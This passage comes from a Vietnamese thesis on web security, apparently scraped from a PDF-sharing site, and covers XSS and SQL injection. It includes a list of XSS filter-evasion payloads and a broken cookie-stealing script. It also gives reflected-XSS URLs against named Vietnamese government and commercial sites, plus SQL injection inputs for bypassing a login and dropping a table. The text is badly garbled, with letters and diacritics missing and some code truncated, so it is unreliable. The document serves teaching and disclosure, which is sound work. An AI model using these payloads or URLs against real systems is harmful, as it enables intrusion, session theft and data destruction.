Cho phép người dùng thoát ra khi hthng, xóa đi phiên làm vic ca h.  
Không cho phép người dùng tchn định danh cho phiên làm vic ca h.  
Sdng trường HTTP REFERER để nhn biết nhiu trình duyt ca người  
dùng có cùng ID.  
2.3. Tn công chèn mã lnh thc thi trên trình duyt nn nhân  
(cross-site scripting) – XSS  
2.3.1. Gii thiu vcross-site scripting  
Cross-site cripting (XSS) là mt dng lhng trong bo mt máy tính chyếu  
được tìm thy trong ng dng web mà cho phép người dùng chèn mã độc hi và sẽ  
được xem bi nhng người dùng khác.Có rt nhiu loi mã như mã HTML và mã kch  
bn phía client. Mt cuc khai thác lhng XSS có thể được nhng ktn công dùng  
để vượt qua trình qun lý truy. Nhng lhng loi này được khai thác để tn công la  
đảo và khai thác trình duyt. Tnăm 2007, XSS được tiến hành trên nhiu website và  
chiếm khong 80% tài liu vcác lhng. Trong mt cuc tn, người dùng cui có thể  
đối tượng ca struy cp trái phép, ăn cp dliu nhy cm, và bmt tin.  
Trong nhng năm gn đây, XSS vượt cbuffer overflow để trthành báo cáo  
lhng bo mt phbiến nht. Ít nht có khong 68% các trang web là có li XSS vi  
Dương ThThu Hương – K50CHTTT  
- Trang 22 -  
Đại hc Công Ngh- ĐHQGHN  
Lun văn tt nghip  
Mt svn đề bo mt ng dng web  
nhng người dùng ca h. Tn công XSS có thvượt qua các trình an ninh ca hệ  
thng. Bng vic tìm ra mt cách thông minh để tiêm mã độc vào trang web, mt kẻ  
tn công có thđược đặc quyn truy cp vào các ni dung nhy cm ca trang, các  
cookie vphiên làm vic, và nhiu đối tượng khác.  
Cross site scripting đầu tiên được gi tt là CSS, mc dù được sdng rng rãi  
nhưng bngưng li vì nhm ln vi Cascading Style Sheets.  
Tn công XSS được viết dng ngôn ngkch bn phía client, chyếu là mt  
dng ca ECMAScript (ví d: JavaScript, Jscript), có khi bao gm cHTML và  
XHTML.  
Lhng XSS được thông báo và khai thác mt strường hp tthp k90.  
Mt vài trang bị ảnh hưởng ni lên như là trang tìm kiếm Google, dch vmail ca  
Google và Yahoo, các trang xã hi như là Facebook, Myspace và Orkut. Các nhà phát  
trin ca công ty MediaWiki đã sa ít nht 20 li XSS để bo vtrang Wikipedia và  
nhng người dùng khác ca wiki.  
2.3.2. Kthut tn công XSS  
Các tn công có th:  
Ly cp cookie  
Chuyn hướng người dùng đến mt trang web độc hi  
Trình bày ni dung githuyết phc người sdng nhp dliu cá nhân  
Các cách thc hin cuc tn công :  
Dng tn công XSS được lưu tr: nhng ktn công đặt nhng đon  
kch bn trên bng nhn tin trc tuyến, tìm kiếm sách, lưu bút, ý kiến ở  
trang nht ký… Nói chung là đon kch bn được lưu li trên máy chủ  
và sẽ được thc thi sau đó.  
Dng tn công XSS được lưu tr:Nhng ktn công đặt mã kch bn  
trong tham sCGI ca mt URL, do đó khi người dùng nhn vào liên  
kết này trang thc sẽ được ti xung, nhưng bthay đổi bi kch bn  
được nhúng trong URL, liên kết tht có thể ở bt kvtrí nào, không cn  
thiết được lưu trên trang.  
Lưu ý: XSS khác vi la đảo, trong đó có mt bn sao tn công hp lvà các trang  
web cgng la người sdng nhp vào các dliu nhy cm trên các trang web giả  
mo.  
Dương ThThu Hương – K50CHTTT  
- Trang 23 -  
Đại hc Công Ngh- ĐHQGHN  
Lun văn tt nghip  
Mt svn đề bo mt ng dng web  
2.3.3. Mã kch bn tn công XSS  
2.3.3.1. Ăn cp mã phiên làm vic ca người dùng để thc hin chiếm  
hu phiên làm vic,  
ví dmã sau:  
<script>  
escape(document.cookie) + ">" )  
</script>  
Thêm mt thẻ ảnh ngun ca trang web ca ktn công ti trang hin ti .  
nh px.gif strli máy chca ktn công chlà mt bc nh 1 pixel, bi vì khi  
bc nh quay li, ktn công sđược cookie trang web ca nn nhân như là  
_appname_session hay là JSESSIONID tbn ghi trên máy chca nn nhân và sau  
đó ssdng cho nhng cuc tn công tiếp theo.  
2.3.3.2. To ththut để khiến người dùng làm vic không biết đến  
Nếu có ththay thế ảnh th38 trong ngun ca trang mun tn công  
<script>  
</script>  
nh này được thiết kế để khiến người dùng làm vic gì mà hkhông biết.  
Có thlà thay đổi URL đích trong mt form và nhiu thkhác.  
2.3.3.3. Các cách chèn mã có thể  
Cách chèn mã vi thimage  
<IMG SRC="javascript:alert('XSS');">  
Ging như trên nhưng bỏ đi du chm phy và đấu ngoc kép  
<IMG SRC=javascript:alert('XSS')>  
Thay đổi mt chút  
<IMG SRC=JaVaScRiPt:alert('XSS')>  
Mã hóa các thc thHTML  
<IMG SRC=javascript:alert(&quot;XSS&quot;)>  
Sdng du “`” trong chui kch bn vì nhiu nhà phát trin không để ý đến nó.  
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>  
Đặt mã kch bn vn trong thIMG nhưng nm trong du ngoc kép  
Dương ThThu Hương – K50CHTTT  
- Trang 24 -  
Đại hc Công Ngh- ĐHQGHN  
Lun văn tt nghip  
Mt svn đề bo mt ng dng web  
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">  
Nếu không du ngoc đơn hay kép nào được phép sdng ta có thdùng hàm  
fromCharCode ca Javascript để to ra các chui tmã Unicode  
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>  
Hoc sdng mã hóa UTF-8 Unicode  
<IMG  
SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&  
#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>  
Mã hóa UTF-8 dng dài, không có du chm phy,  
<IMG  
SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000  
114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#000010  
1&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&  
#0000039&#0000041>  
Mã hóa h16  
<IMG  
SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#  
x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>  
Thêm vào mt “tab”  
<IMG SRC="jav  
ascript:alert('XSS');">  
Mã hóa “tab” trên  
<IMG SRC="jav&#x09;ascript:alert('XSS');">  
Nhúng vào phn xung dòng trong mã  
<IMG SRC="jav&#x0A;ascript:alert('XSS');">  
Nhúng ký tquay li  
<IMG SRC="jav&#x0D;ascript:alert('XSS');">  
Mã Javascript được tri ra trên nhiu dòng  
Ngoài thIMG, ta có tháp dng các cách trên vi các thkhác trong HTML và mã  
kch bn khác. Các thcó thchèn mã kch bn  
<script></script>  
<IMG src=>  
<body onload=>  
<iframe src=”trang độc hi”>  
<BGSOUND src=>  
<BR SIZE=>  
Dương ThThu Hương – K50CHTTT  
- Trang 25 -  
Đại hc Công Ngh- ĐHQGHN  
Lun văn tt nghip  
Mt svn đề bo mt ng dng web  
<LAYER src=”trang độc hi”></LAYER>  
<LINK href=”trang độc hi”>  
<STYLE>@import’trang độc hi’;</STYLE>  
<INPUT TYPE="IMAGE" SRC=>  
<META HTTP-EQUIV="Link" Content="<trang độc hi >; REL=stylesheet">  
<TABLE BACKGROUND=>  
<DIV STYLE="background-image: url())">  
<BASE HREF="">  
<EMBED SRC=”trang độc hi” AllowScriptAccess="always"></EMBED>  
<A HREF=”trang độc hi”>XSS</A>  
<FRAMESET><FRAME SRC=""></FRAMESET>  
2.3.4. Các cách phòng chng  
Phương pháp đầu tiên và đơn gin nht là thay thế các du ngoc vi &gt.&lt.  
Đối vi người dùng, cn cu hình li trình duyt để nhc nhngười dùng có  
cho thc thi ngôn ngkch bn trên máy ca hhay không? Tùy vào mc độ  
tin cy mà người dùng squyết định.  
To ra danh sách nhng thHTML được phép sdng  
Xóa bvà lc  
o
o
Xóa bth<script>  
Lc ra bt kì mt đon mã JavaScript/Java/VBScript/ActiveX/Flash  
Related nào.  
o
o
Lc du nháy đơn hay kép  
Lc kí tNull ( vì khnăng thêm mt đon mã bt kì sau kí tNull  
khiến cho ng dng dù đã lc bth<script> vn không nhn ra do  
ng dng nghĩ rng chui đã kết thúc tkí tNull này).  
Xóa nhng kí t“ > ”, “ < ”  
o
o
Vn cho phép nhp nhng kí tự đặc bit nhưng sẽ được mã hóa theo  
chun  
riêng.  
Bo mt cookie: Chcho phép mt IP xác định sdng cookie đã được  
cung cp, không thcó hai IP khác nhau sdng cùng mt cookie.  
Dương ThThu Hương – K50CHTTT  
- Trang 26 -  
Đại hc Công Ngh- ĐHQGHN  
Lun văn tt nghip  
Mt svn đề bo mt ng dng web  
2.3.5. Mt strang vn còn lhng ca Vit Nam:  
Tên công ty Tên min Liên kết bkhai thác  
Cc Hi  
Quan Bình  
Định  
nbinhdinh.g TELEX&noidung=%27%22%3E%3C%2Ftitle%3E%3C  
ov.vn  
script%3Ealert(1337)%3C%2Fscript%3E%3E%&TKthe  
o=0&TKmuc=0&btn_submit=T%C3%ACm+ki%E1%B  
A%BFm  
Siêu thị  
Megabuy.vn uy.vn  
eyword=%22%3E%3Cscript%3Ealert(1337)%3C/script  
%3E&x=0&y=0  
phán – Tòa han.gov.vn h&hidLang=en&searchterm=l%C6%B0c%27%22%3E%  
án nhân dân  
ti cao Vit  
Nam  
3C/title%3E%3Cscript%3Ealert(1337)%3C/script%3E%  
3E%  
Vin năng  
lượng  
ov.vn  
%2013k%20-  
nguyên tử  
Vit Nam  
%20%C4%90%C3%A3%20l%C6%B0u%20tro%27%22  
%3E%3C/title%3E%3Cscript%3Ealert(1337)%3C/script  
%3E%3E  
2.4. Tn công bng kthut chèn mã SQL (SQL Injection)  
2.4.1. Gii thiu vSQL Injection  
SQL injection là mt kthut cho phép ktn công li dng lhng trong vic  
kim tra dliu nhp trong ng dng web và các thông báo li ca hqun trcơ sở  
dliu để tiêm vào và thi hành các câu lnh SQL bt hp pháp mà không được người  
phát trin ng dng lường trước. Kết qulà ktn công có thcó quyn sdng cơ sở  
dliu, hiu chnh và xóa. Vn đề này xy ra trên hu hết các hqun trcơ sdliu  
như SQL Server, My SQL, Oracle, DB2, Sysbase…  
Dương ThThu Hương – K50CHTTT  
- Trang 27 -  
Đại hc Công Ngh- ĐHQGHN  
Lun văn tt nghip  
Mt svn đề bo mt ng dng web  
Hình 2-8 Hacker thc hin mt cuc tn công thành công vào ng dng web (ngun:  
Hacker chèn câu lnh SQL ti cơ sdliu thông qua trình khách ca ng dng web  
để ly thông tin chi tiết vthtín dng. Quá trình thc hin ca hacker như sau:  
1. Mt ktn công tìm thy lhng trang dành cho khách hàng ca ng dng  
web và gi mt tn công qua cng 80/443 ti máy chweb.  
2. Máy chweb nhn mã độc hi và gi ti máy chủ ứng dng web.  
3. Máy chủ ứng dng web nhn mã độc tmáy chweb và gi ti máy chcơ sở  
dliu.  
4. máy chcơ sdliu nhn mã độc, thc thi trên cơ sdliu và đưa ra dliu  
tbng thtín dng.  
5. Máy chweb to ra mt trang động vi ni dung bao gm thông tin chi tiết về  
thtín dng tcơ sdliu.  
6. máy chweb gi thông tin thtín dng ti cho hacker.  
Các ký hiu trong hình:  
Dương ThThu Hương – K50CHTTT  
- Trang 28 -  
Đại hc Công Ngh- ĐHQGHN  
Lun văn tt nghip  
Mt svn đề bo mt ng dng web  
mô tdliu dch chuyn gia máy ca hacker và máy chweb thông qua  
cng 80/443, cũng là ca máy chủ ứng dng web, máy chcơ sdliu, cơ  
sdliu  
đường truyn hai chiu gia hacker và máy chweb.  
dliu thtín dng được ly ra khi cơ sdliu  
2.4.2. Các dng tn công SQL Injection  
Ta sdng bng User cho các minh ha  
STT Tên trường Cài đặt vt lý Kiu  
Lưu thông tin  
1
2
Username Khóa chính  
Password Not null  
Varchar(50) Tên đăng nhp, duy nht  
Varchar(20) Mt khu đăng nhp  
2.4.2.1. Dng tn công vượt qua trang đăng nhp  
Gisử ứng dng web kim tra đăng nhp có đon như sau:  
SQLQuery= “SELECT Username FROM User WHERE Username= ‘” &  
Uname & “’ AND Password= ‘” & Pass & “’”  
flag= GetQueryResult (SQLQuery)  
if flag = “” then  
check=FALSE  
else  
check=TRUE  
end if  
Đon mã trên kim tra chui nhp Username và Password. Nếu tìm thy thì biến check  
là true ngược li là false.  
Nếu giá trnhp là: Username = ’ OR ‘’=’, Password= ’ OR ‘’=’  
Thì câu lnh SQL slà  
SELECT Username FROM User WHERE Username= ‘’ OR ‘’=’‘ AND  
Password= ‘’ OR ‘’=’’  
Kết qutrvngười dùng đầu tiên trong bng vì so sánh ‘’ và ‘’ luôn đúng.  
Ta có thkết hp các ký tnhư ;” hay “--để  
Xóa bng User: đặt username là : “’; drop table User-- ”  
Câu lnh SQL trthành:  
SELECT Username FROM User WHERE Username= ‘’;drop table User--  
AND Password= ‘” & Pass & “’”  
Dương ThThu Hương – K50CHTTT  
- Trang 29 -  
Đại hc Công Ngh- ĐHQGHN  

Tải về để xem bản đầy đủ

pdf 45 trang yennguyen 03/05/2025 110
Bạn đang xem 30 trang mẫu của tài liệu "Luận văn Một số vấn đề bảo mật web", để tải tài liệu gốc về máy hãy click vào nút Download ở trên.

File đính kèm:

  • pdfluan_van_mot_so_van_de_bao_mat_web.pdf